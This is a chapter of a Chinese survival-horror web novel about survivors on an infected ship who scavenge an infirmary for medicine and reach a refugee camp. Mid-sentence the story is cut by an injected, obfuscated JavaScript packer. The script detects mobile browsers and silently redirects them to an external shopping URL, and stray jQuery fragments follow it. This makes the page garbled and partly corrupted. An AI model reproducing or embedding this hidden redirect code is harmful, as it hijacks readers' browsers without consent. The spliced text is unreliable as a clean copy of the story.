莱茵的计划是前往医务室翻找有用的药材,他和弗兰路过休息大厅,有黑影一闪而过。
弗兰:“地上怎么有樱桃果酱,还踩得到处都是。”
莱茵撇了一眼:“那是血液,接触空气后,血小板和凝血因子会启动凝血过程。残留物逐渐变得粘稠,要不了几分钟,颜色也从鲜红转为褐色。但是,你难道闻不到血腥味吗?”
“啊这样啊,我以前打拳击的时候受过伤,失去了嗅觉。”
“那还挺可惜的。”
快到医务室的时候,传来沉闷的枪击声,两人还没来得及反应,门被撞开了,有个身影倒在地上——是个满身是血的男人。
或者也称不上人了,「它」的衣物破烂,身上爬满了诡异的深绿色条纹,右肩一直在流血。
再一声枪响,子弹打中了「它」的眼睛,灰色瞳孔爆开,「它」终于抽搐了几下,失去动弹。
弗兰挡在莱茵面前,血溅了他一身。
此时他觉得,失去嗅觉也不是什么坏事。起码这种时候,闻不到血腥味就没那么害怕了吧。
对面的人走了过来,收起枪,惊讶地说道:“赫尔曼,你怎么在这里。”
莱茵从弗兰身后走出来,低声说了声“谢谢”,也看清说话的人正是科尔多瓦。
科尔多瓦严肃而认真:“这里很危险,你们不该出来。”
“抱歉,但我们没办法等着饿死。”莱茵耸耸肩,绕过尸体进入医务室,见弗兰没跟上来,“怎么了,吓破胆了吗?赶紧一起来找药。”
科尔多瓦时刻警惕着周围,未曾收枪:“你还在想配药的事情?”
“嗯。”莱茵一直忙翻找,但凡他多分点心思听,也能体会到对方在隐隐期待。
弗兰:“赫尔曼先生的药膏很厉害,有5个人本来都倒下了,现在生龙活虎。”
莱茵本着严谨态度制止:“弗兰,没那么夸张。”
医务室很乱,莱茵不认识字,只能靠手动翻找,速度很慢。过去20分钟了,还差一味最重要的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16613689|187654||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
香蜂草。
“它是一种具有薄荷味的草本。”尽管莱茵解释得很详细,弗兰依然认为“那不就是薄荷吗?”
一直在门口盯守的科尔多瓦有些心神不宁,他的直觉很敏锐:“我们得抓紧走了,如果缺什么,只能找机会再来。”
莱茵点头,他知道科尔多瓦能留下来这么久,当然不会是因为两人有过一面之缘。
不管怎么样先跟着去看看。
科尔多瓦带他们回了据点,这个休息区域位于舷梯附近,但二等舱的管理者拒绝打开,幸存者们就停在了这。
莱茵扫了一眼,估摸着有二十多人,多数人绑着纱布,精神萎靡。
“到底发生了什么?患者怎么看起来神经失常?”
根据科尔瓦多回忆,原本按照静默指示,所有感染的人留在三等舱,其余人前往二等舱。意外是在第二天的下午发生的。
部分重感染患者一直喊着“好饿好饿”,进食以后又疯狂呕吐。交替循环以后,整个人陷入暴走状态。只有毁掉他们的眼睛,才能令其失去行动能力。